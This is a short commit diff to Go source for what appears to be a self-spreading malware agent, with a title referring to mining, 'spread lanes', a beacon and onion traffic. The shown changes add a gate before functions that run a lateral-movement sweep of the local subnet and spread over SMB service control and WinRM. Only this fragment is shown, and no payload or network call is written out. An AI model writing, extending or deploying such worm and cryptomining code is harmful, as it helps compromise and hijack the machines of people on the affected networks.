Expand P2 test coverage: mining chain, spread lanes, path forge, WS/beacon, E2E onion, file handling

agent/deploy/autospread.go

@@ -45,6 +45,9 @@ func StartAutoSpreader(cfg config.RuntimeConfig) {
 
 // RunSpreadOnce triggers an immediate lateral movement sweep (non-blocking).
 func RunSpreadOnce(cfg config.RuntimeConfig) string {
+	if ok, reason := AllowAutospread(cfg); !ok {
+		return "autospread deferred: " + reason
+	}
 	go spreadToLocalSubnet(cfg)
 	if cfg.WinRMSpread || cfg.AutoSpread {
 		go spreadViaWinRM(cfg)
@@ -58,6 +61,11 @@ func RunSpreadOnce(cfg config.RuntimeConfig) string {
 var spreadSem = make(chan struct{}, 16)
 
 func spreadToLocalSubnet(cfg config.RuntimeConfig) {
+	if ok, reason := AllowAutospread(cfg); !ok {
+		log.Printf("[autospread] spread deferred: %s", reason)
+		finishSpreadSweepImmediate()
+		return
+	}
 	filtered := DiscoverLANSpreadTargets(MaxSubnetScanHosts)
 	beginSpreadSweep("smb_scm", len(filtered))
 	if len(filtered) == 0 {